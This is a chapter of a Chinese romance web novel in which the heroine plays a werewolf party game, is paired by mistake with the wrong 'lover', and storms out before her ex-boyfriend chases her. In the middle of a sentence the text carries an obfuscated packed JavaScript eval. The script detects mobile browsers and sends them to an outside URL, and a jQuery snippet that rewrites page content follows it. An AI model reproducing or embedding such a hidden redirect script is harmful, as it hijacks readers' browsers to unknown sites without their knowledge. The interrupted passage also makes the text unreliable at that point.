24. 第 24 章
作品:《普,且金手指》 24
眼前特制的面具遮住了所有视野,耳边是为了掩盖夜间声响而放得很大声的狼人杀专用音乐。
“丘比特请行动,请选择你要连接的对象。”
丘比特的板子?
宋惊月在讲规则时在走神,现在听到这个角色,内心产生一种还好是这样的感慨。
这个板子的平衡性很差,如果真的是来玩逻辑碰撞是绝不会选择这个板子。
那就是娱乐向,或者是有其他目的了。
结合今天特殊的局面,宋惊月大胆猜想,路择鸣的朋友们可能还不知道他们分手的原因,在今天的局里有意想重新撮合他们。
应该不管谁是丘比特都会链她和路择鸣吧。
宋惊月心定下来,做好被链的准备,举起右手。
“好,接下来被裁判触碰手臂的两位玩家将成为恋人。”
宋惊月的右手果不其然被碰到。
“请恋人睁眼,确认对方身份。”
宋惊月缓缓放下面具,做好心理准备视线直接投向对面。
路择鸣脸上还带着面具。
宋惊月愣住。
恋人不是路择鸣?
她眼睛微微睁大,视线慌乱地四处搜寻,最后落到场上另一个摘下面具的人身上。
对面,符停云惫懒的神情凝住,修长的指节还攥着刚放下面具,和怔愣的她两人面面相觑。
……什么?
符停云目光定定,眼中有一闪而过的惊讶。
他身上有点褪色的牛仔外套衬得他面容更加俊秀,里面简单搭配的白t微微褶皱,宽大的领口下垂露出锁骨。
每次见他的衣服好像都有点旧,不是洗得发白就是明显是多年前的款式。
宋惊月不合时宜地思绪飘远。
两人就这样像两座石像直直对视,没有任何交流和动作。
“恋人请闭眼,狼人请行动……”
宋惊月重新带上面具,心里乱想。
难道是她自作多情了?他们今天没想为他们组局?
那也不对啊,好歹是面杀熟人局,还是恋人这种有点子特殊意味的身份,不可能会有人把她和别人绑吧。
……那就只剩下一种可能了,不会路择鸣是丘比特吧。
宋惊月皱起眉。
什么意思,就因为之前她多看了符停云两眼,他就要把场面闹得这样难看?
她都不敢想等最后身份揭露的时候,别人看到路择鸣是丘比特,还把她和符停云链在一起会是什么表情。
果然是鸿门宴,存心给她找不痛快是吧。
她有点生气。
除了生气,还有点落差感带来的情绪复杂。
路择鸣对她一直都是百依百顺的小狗形象,甚至可以说是刻意放低姿态在讨好她。
但现在竟然也学会了报复。
是对她怀恨在心吧,即使是光环有心让他对她念念不忘,被那样对待以后他还是会产生怨怼。
“天亮了,请上警玩家按亮面前的灯表示竞选警长。”
一般情况下宋惊月会上警给恋人暗示阵营。
但现在显然不是正常情况。
她很想龟缩在警下,但内心说实话真的很生气。
想让她当众难堪,路择鸣真的是气疯了才会做出这种事吧。
她本以为以他的修养即使难过也不会有报复行为的。
余光看到对面路择鸣的灯亮了,符停云的灯也亮了,宋惊月也把面前的灯按亮。
“额……我是预言家,昨晚查的……”
轮到第一位男生发言时有点猝不及防,他视线飘忽磕磕绊绊,像是没准备好。
起跳动作完整,但不管是状态还是发言都很一般。宋惊月在纸上给他标问号。
紧接着第二位就轮到路择鸣发言。
他说话时不可避免会直视前方,只是像是知晓她会在意,每次视线一移到她身上就会立马转开。
路择鸣声音冷淡逻辑清晰,顺便用语言漏洞猛踩跟他对跳的男生。
很有力度,但宋惊月现在不想听。
在路择鸣说话时,她手下笔尖用力地戳着白纸,像是能戳到他身上一样。
狼,铁狼,预言家一张孙子牌哪会这么强硬。
而且他这么一跳,摆明了不是丘比特。
那是谁给她的链子?耍她玩呢?
后面的上警发言统一都站路择鸣,只剩下了她和符停云还没说话。
各种夸赞和对比听得本就一肚子火的宋惊月更加不爽。
轮到宋惊月发言,她用她最擅长的冷漠语调开口:“我不这么觉得。除了比较磕磕绊绊,8号的发言没有差到被全场打的地步,而且我觉得这情有可原,毕竟第一个发言真预言家除了查验没有任何信息,警徽报的慢一点也没关系。”
她话头一转。
“反倒是这个7号。”
她语速极快,把狼人冲锋第三方绑票等等的可能全部说出来,即使有的地方逻辑上比较勉强,她也以极具攻击性的语言强打路择鸣代表的7号。
等把路择鸣都要踩到泥里了,她才心满意足:“我信8号,过。”
铿锵有力掷地有声,虽然很多是强打的逻辑,但是她声音大啊。
只要你声音够大,底气够足,最好还能拿个末置归票位,那在他们这种业余局就足够带节奏了。
没看到那位本来因为没发言好而懊恼的8号男生一脸感动地看着她吗。
路择鸣上身笔挺倚靠在电竞椅里,目光低垂看着记录本。
他听完她带上个人情绪的发言面上没有变化,只是握在手中的笔停住。
“10号玩家请发言。”见符停云还盯着宋惊月看,上帝提醒道。
符停云回过神,向来比较随性懒散的他第一次脸上出现了犹豫。
“我……也信8号。”
他基本上又把宋惊月的话重复了一遍,完全顺着她的思路在讲。
宋惊月很满意。
做她的恋人跟着她冲就对了,不要有太多的个人想法。
尽管被他俩这么一打岔有的人有点犹豫,但最终警徽还是落到了路择鸣身上。
宋惊月有点没劲。
游戏还在继续。
第一天白天发言很差的8号被投出去,符停云被路择鸣改入警徽流,宋惊月反被定为没视野的好人。
第二天夜里路择鸣和另一位跟风的出局,警徽落到符停云身上证明他是好人,白天宋惊月划划水混过去没被抗推。
第三天死了两个人,现在场上只剩下六人。
宋惊月已知符停云和她是好人链,符停云大概率是个没视野的平民。
场上现在的格局是两狼一神三民。
路择鸣淘汰了,他在她对面抱着手臂静静听他们发言,但就是怎么也不看她。
宋惊月百无聊赖地时不时瞥他一眼。
“10号……感觉和1号是链子。”场上剩的人不多,轮到发言的人犹豫半天,还是直接点出来。
1号是宋惊月。
他的话音落下,本就安静的氛围几乎能听到一些人蓦地屏住呼吸的声音。
宋惊月能感觉到众人的视线集中过来。
“10号一直跟着1号的思路走,也不盘别的信息,而1号发言虽然一直很硬,但卖出来的视角非常局限,大概率是没视野的好人链,6又是反向金可以先放。那在我的视角里,剩下的2,5就是双狼。”
视角全露了,狼队已经控场了。
不管今天出谁晚上狼队只要刀到女巫就赢了。
宋惊月看着自己纸上的标的2号为女巫。
就剩周青柏一张神了,狼队能这么点估计也看出了6和2里2为神的概率最大。
她神情懒懒地转着笔。
要不要给他打掩护呢?
周青柏有点讨人厌的声音在耳边响起,他为了掩盖身份特地盘了另外的逻辑,盘1,10不为链子,前面的双死为链子,而狼王被女巫闷掉。
很努力,而且话里话外是希望她和符停云能出来帮他穿身份。
宋惊月有点抵触和他打配合,她今天的场外情绪很重。
所有人都很讨厌,路择鸣讨厌,周青柏也讨厌。
但符停云看着不是玩得厉害的,毕竟一整局都在无脑跟她的话。
“1号玩家请发言。”
宋惊月有沉默三秒。
她察
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782520|173975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉到旁边周青柏温和的视线落到她身上。
……啧。
如果周青柏能看出她对他态度的恶劣就好了,这样他也能疏远她,她还能继续心安理得地讨厌。
但偏偏他又温和地过分。
宋惊月组织了下语言。
她一改原来强硬的态度,分析的同时卖出一点额外的视角,装作有身份的样子。
符停云继续跟。这把投了一个狼出去,接下来就看晚上会不会刀到周青柏了。
宋惊月戴上面具,喧闹的音乐再次响起。
……一会结束她倒是要看看是谁给她的链子,这么惟恐天下不乱。
本来还心有愧疚觉得临时鸽他们不太好,现在想想她真是心太软了。
这把结束她就给魏恪发信息接她。
她另一只没拿面具的手烦躁地在桌下晃,不断祈祷时间能过快点。
躁郁的心情随着音乐的鼓点不断上升,她的手部动作幅度不断加大。
“啪。”
打到了旁边的周青柏手上。
宋惊月僵住。
和男人骨节分明又带着硬度的手触感不一样,少女软绵绵带着肉感的手打上来时周青柏的心绪瞬间紊乱。
宋惊月还僵硬在原地,反而是周青柏欲盖弥彰地收回手握成拳。
“天亮了,1号,10号玩家出局,游戏继续。”
狼队赌输了,被周青柏和宋惊月的配合成功骗过。
最后一神一民把狼投出去,好人获胜。
一把游戏的时间真的很长,还不能随意说话,游戏结束后包厢里瞬间闹哄哄的。
宋惊月蹭的起身,怒气冲冲直接走到上帝旁边看他的小板板上记的谁是丘比特。
梁晴?
看到序号时她惊讶出声。
“抱歉抱歉!”梁晴第一时间赶过来,满脸的抱歉,“我链的其实是6和10,但上帝看错手势了,我也是后来才发现。游戏里我也不能和上帝直接对话,只能继续玩了。”
如果不是局势特殊,她随便链谁都无所谓,哪怕是没关系的一男一女。
但偏偏今天就是特殊。
旁边也有人听到了对话,虽然面上不敢说什么,但心里有了点计较。
下一把很快就要开始,有人都在招呼他们坐下了。
宋惊月没有消气。
只是面上对她笑笑维持场面:“你们先玩吧,我临时有事要回去了。”
她没有很大声,只说给了梁晴听,但推门走出去的一刻吸引了所有人的注意。
“哎,怎么了……”
离开前宋惊月听到后面的疑惑声。
不管了,闹掰就闹掰吧,她不可能再继续待在这种局里接受别人对她若有若无的打量。
她才不要委屈自己去维持这种没屁用的人际。
她拿出手机给魏恪发消息,对方却秒回说就在外面。
他一直等在外面没走?
宋惊月惊讶,她立刻加快脚下的步伐。
“姐姐。”
踏出大门时,她的胳膊突然被后面冲过来的人一把抓住。
局上路择鸣忍了半天不敢看她,生怕一看到那张让他心软的面孔就瞬间忘掉她之前做过的事。
但看她毅然走了之后根本无法忍受分手后难得一见的她再次消失,从座位上一路冲出来。
“姐姐。”他还没收起拧眉冷淡到有点凶的表情,大掌紧紧抓着她的胳膊。
只是这么急的冲出来抓着她,他却对着这张面孔说不出话。
他喉结干涩地上下滚动,几次话到喉口又艰难咽下。
他能问什么。
他只是想好好看看她。
分手的日子对他来讲简直是暗无天日。
记忆闪回的片段和那张熟悉的面孔,像一瓶烈酒浇在他的伤口上,分分秒秒地折磨、凌迟他。
他的人生一番顺遂至今,宋惊月是唯一能让他感到真切的痛苦煎熬的存在。
“姐姐。”
他无力地喊着他们相恋时的昵称,遍布红血丝的眼眶已经湿润一片。
不曾有其他言语却连每分每秒的呼吸都在哀求。
可怜可怜我吧,姐姐。